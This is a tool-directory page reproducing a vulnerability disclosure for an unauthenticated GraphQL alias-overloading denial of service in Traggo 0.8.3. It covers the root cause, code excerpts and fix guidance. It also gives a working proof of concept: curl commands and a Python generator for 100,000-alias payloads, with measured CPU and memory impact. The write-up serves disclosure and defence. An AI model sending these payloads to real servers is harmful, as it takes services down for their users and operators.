Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-117184 — Proof-of-concept and technical write-up for CVE-2026-117184, an unauthenticated GraphQL alias-overloading denial-of-service in Traggo 0.8.3, with payload generator and fix guidance. | Kitploit
Tools/GitHubGitHub/primandito/cve-2026-117184
Vulnerability AnalysisWeb SecurityAPI Security
GitHubprimandito/cve-2026-117184

CVE-2026-117184

Proof-of-concept and technical write-up for CVE-2026-117184, an unauthenticated GraphQL alias-overloading denial-of-service in Traggo 0.8.3, with payload generator and fix guidance.

View Repository
19 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    951
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    683
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    427
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    392
  • 5

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    344
  • 6

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    336

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-117184 — Unauthenticated Denial of Service via GraphQL Alias Overloading in Traggo 0.8.3

CVE Version Status CVE State

Summary

Traggo server v0.8.3 is vulnerable to an Unauthenticated Denial of Service (DoS). The GraphQL endpoint accepts an unlimited number of aliased fields and has no request body size limit. Because the version field lacks a @hasRole directive, this can be triggered without logging in.

A crafted document with many aliases (e.g., {v0:version{name} v1:version{name} ...}) forces the server to spend a long time resolving fields and allocate excessive memory. A single request with 100,000 aliases (a 2.0 MB payload) pins one CPU core for over 100 seconds and consumes nearly 1 GB of RAM. Parallel requests can easily push the process into OOM (Out of Memory) territory.

FieldValue
CVE IDCVE-2026-117184
Official Recordcve.org/CVERecord?id=CVE-2026-117184
Affected VersionTraggo server v0.8.3 (commit 6321119c3c2d55f04e2e4967f6492aabd6067b76)
Vulnerability TypeCWE-400: Uncontrolled Resource Consumption (DoS)
Attack VectorNetwork
Privileges RequiredNone (Unauthenticated)
Affected ComponentGraphQL endpoint /graphql (graphql/handler.go), schema.graphql, logger/gql.go
Original Reporttraggo/server#253

Affected Files

File PathDescription
graphql/handler.goHandler setup missing complexity limit and body size limit.
schema.graphqlversion field lacks authentication directive.
auth/hasrole.goDirective implementation (skipped for version).
graphql/resolver.goversion resolver called for every alias.
logger/gql.goRaw query logged on errors, amplifying body size impact.

Root Cause Analysis

1. Handler Setup Missing Limits

graphql/handler.go:13-27 — handler.ComplexityLimit(...) is never passed. The request body goes straight into gqlHandler.ServeHTTP without http.MaxBytesReader.

func Handler(endpoint string, resolvers gqlschema.ResolverRoot, directives gqlschema.DirectiveRoot) http.HandlerFunc {
	gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
		Resolvers:  resolvers,
		Directives: directives,
	}), handler.RequestMiddleware(logger.GQLLog()))
	playground := handler.Playground("Traggo Playground", endpoint)

	return func(writer http.ResponseWriter, request *http.Request) {
		if acceptHTMLAndNotJSON(request) {
			playground.ServeHTTP(writer, request)
		} else {
			gqlHandler.ServeHTTP(writer, request)
		}
	}
}

2. Unauthenticated version Field

schema.graphql:62 — While other fields have @hasRole(role: USER), the version field does not, making it reachable without an Authorization header.

devices: [Device!] @hasRole(role: USER)
timeSpans(fromInclusive: Time, toInclusive: Time, cursor: InputCursor): PagedTimeSpans! @hasRole(role: USER)
# ...
version: Version!

3. Resolver Amplification

graphql/resolver.go:67-71 — Each alias in the selection set invokes the resolver separately, multiplying CPU and memory usage.

func (r *resolver) Version(ctx context.Context) (*gqlmodel.Version, error) {
	gql := &gqlmodel.Version{}
	copier.Copy(gql, r.version)
	return gql, nil
}

4. gqlgen Default Behavior

gqlgen v0.17.85 only enables the complexity limit when the application explicitly sets it (handler/handler.go:59-67). Since Traggo doesn't, cfg.complexityLimit is 0, and no extension is added.

5. Logger Amplification

logger/gql.go:27-36 — Even if the query fails, the raw query is logged. A 20 MB payload generates a 20 MB log entry per request.

if len(errs) > 0 {
    // ...
	log.Error().Strs("error", errorStrings).Str("took", elapsed.String()).Msg("GQL: " + toOneLine(hidePassword(rawQuery)))
}

Proof of Concept

Tested on v0.8.3, built from source with go build (Go 1.24.4, SQLite, 4 cores, 7.7 GB RAM).

Step 1: Verify Unauthenticated Access

API=http://127.0.0.1:3999/graphql

curl -s -D - "$API" \
  -H 'Content-Type: application/json' \
  --data-binary '{"query":"{version{name commit}}"}' \
  -o /tmp/version.json

cat /tmp/version.json
# Response: {"data":{"version":{"name":"develop","commit":"-"}}}

Step 2: Generate the Payload

python3 - <<'EOF'
import json

for n in (5000, 20000, 50000, 100000):
    q = "{" + " ".join(f"v{i}:version{{name}}" for i in range(n)) + "}"
    with open(f"/tmp/alias_{n}.json", "w") as f:
        json.dump({"query": q}, f)
EOF

(The 100k file is 2,088,904 bytes).

Step 3: Send and Measure

for n in 5000 20000 50000; do
  curl -s "$API" -H 'Content-Type: application/json' \
    -d @/tmp/alias_$n.json -o /dev/null \
    -w "$n: http=%{http_code} time=%{time_total}\n"
done
AliasesRequest SizeTimeNotes
5,00099 KB0.15 s
20,000409 KB2.37 s
50,0001.0 MB24.47 s100% of one core
100,0002.0 MB102.56 sRSS 962 MB

Step 4: Parallel Execution

Three 50k requests in parallel showed 291-299% CPU on a 4-core machine. The server does not crash immediately, but small queries remain responsive (around 1 ms) while the large ones run. The primary issue is CPU pinning and potential OOM.


Recommended Fix

1. Set Complexity Limit and Body Size Limit

Apply limits in graphql/handler.go:

gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
    Resolvers:  resolvers,
    Directives: directives,
}), 
    handler.ComplexityLimit(1000), // Set a reasonable limit based on dashboard queries
    handler.RequestMiddleware(logger.GQLLog()),
)

// Wrap the request handler with MaxBytesReader
return func(writer http.ResponseWriter, request *http.Request) {
    request.Body = http.MaxBytesReader(writer, request.Body, 1024*1024) // e.g., 1 MB limit
    // ... (rest of the handler)
}

Note: With ComplexityLimit(1000), the 50k alias query fails in 0.17s with an error: operation has complexity 100000, which exceeds the limit of 1000.

2. Restrict the version Field

If version does not need to be public, add @hasRole(role: USER) to schema.graphql:

version: Version! @hasRole(role: USER)

Environment

ComponentVersion
Traggo Serverv0.8.3 (commit 6321119c...)
Go1.24.4
gqlgen0.17.85
DatabaseSQLite
OSLinux (4 cores, 7.7 GB RAM)

Timeline

DateEvent
2026-10-22Issue #253 reported to Traggo server repository
2026-10-30Official CVE record published on cve.org
—Awaiting maintainer response on fix

References

  • Official CVE Record — CVE-2026-117184
  • Original report — traggo/server#253
  • CWE-400: Uncontrolled Resource Consumption
  • gqlgen Issue #2496: Alias overloading
  • gqlgen Issue #3550: Alias overloading

Disclaimer

This write-up is provided for educational and defensive purposes only. All testing was performed on a locally hosted instance owned by the author. Do not use these techniques against systems without explicit written authorization.


Credits

Primandito Adi Setiya

Download Tool